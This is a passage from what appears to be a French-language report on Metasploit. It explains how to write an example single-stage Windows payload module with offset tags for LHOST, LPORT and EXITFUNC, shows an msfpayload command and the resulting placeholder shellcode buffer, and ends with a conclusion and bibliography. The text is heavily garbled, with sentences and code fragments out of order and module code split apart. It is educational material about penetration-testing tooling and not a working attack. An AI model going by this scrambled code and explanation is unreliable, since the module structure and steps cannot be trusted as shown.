LPORT=4444 */ unsigned char buf[] = "\x11\x5c\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" "\x0a\x00\x00\x01\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" "\xf0\x8a\x04\x5f\xaa\xaa\xaa\xaa\xaa". Si on ne configue pas les champs LPORT et EXITFUNC. 22 . dont il faut souligner l’importance : ces tags pemettent à l’auteur des changer les variables à l’intérieur du shellcode. Dans l’exemple ci-dessus on voit que le shellcode est remplis de 0xaa. On voit alors. ’V’ ]. les addresses débutants aux octects 0 et 30 seront remplies avec les valeurs par défault. ’ADDR’ ]. Après le nom du module. Le nom du module est Exemple. ce qui signifie 10.– Find Tag – None Le session sert pour dire quelle librairie sera chargée lors de l’exploit : soit CommandShell. Si on lance msfpayload en configurant le LHOST par exemple. ’n’ ]. ou Meterpreter. l’addresse débutant à l’octect 15 sera remplacée par l’addresse en hexadécimal que l’on aura mise dans LHOST. On a ici les offets tags. et que l’addresse qui commence à l’octet 15 est remplacée par 0x0a 0x00 0x00 0x01. }. ’EXITFUNC’ => [ 30. que les deux premiers octects ont comme valeur 0x115c ce qui vaut 4444.0.0. et ce pour démontrer cette fonctionnalité. ’Payload’ => "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" } )) end end end end end end Une fois que l’on obtient une fois ce payload mis en place et quand on utilise msfpayload : windows/exemple Exemple de comment ajouter un single payload Ce payload debute par les déclarations standards et la place des modules pour les dépendance. on déclare les Windows et single-stages shellcode que l’on pourras utiliser.1 C /* * windows/exemple . comme annoncé.39 bytes * http://www. ’Payload’ { ’Offsets’ => { => ’LPORT’ => [ 0.0.metasploit.1. ’LHOST’ => [ 15. # msfpayload windows/exemple LHOST=10. Puis vient le bloc d’intialisation standard.com * EXITFUNC=seh.0.

Chapitre 5 Conclusion Ce document touche désormais à sa fin. Nous tenons aussi à rappeler que Metasploit a été créé avant tout pour tester la résistance des systèmes face aux tentatives d’intrusions. mais comme dirai l’autre : "Il est interdit d’interdire". Celle-ci est supposée représentative mais rien nous vous oblige à vous y restreindre. 23 . Les notions entrevues lors des différents exemples de ce rapport . articles ou sites web dans la partie bibliographie de ce rapport. au travers de ces quelques pages. Il est donc interdit d’utiliser Metasploit à des fins malveillantes... Vous permettrons de vous attaquer à des sujets bien plus complexes dans le domaine des exploits et des payloads. Nous mettons à votre disposition une liste non exhaustive des livres. Si l’aventure vous tente. – Lancement d’un exploit – Dissection d’un exploit – Création d’un module ... Nous espérons. avoir réussi à vous intéressez à cet outil qu’est Metasploit. sachez que vous pourrez trouver sur internet une véritable bibliothèque des publications concernant Metasploit ou le monde des exploits.

securinfos.com/. http://blog.com/ documents/developers_guide. [5] Staff. [3] Pukhraj Singh and K. Metasploit 3.metasploit. Metasploit Framework. http://www.Bibliographie [1] D. http://www. Site officiel de Metasploit. Exploit Development. Metasploit Toolkit for Penetration Testing. [4] Staff.metasploit.pdf. Maynor and KK Mookhey.com. [2] Staff Metasploit. Blog officiel de Metasploit. Syngress Press.pdf.info/jerome/DOC/Metasploit1_FR. Mookhey. 24 . https://www. and Vulnerability Research.metasploit.0 Developer’s Guide.K. 2007.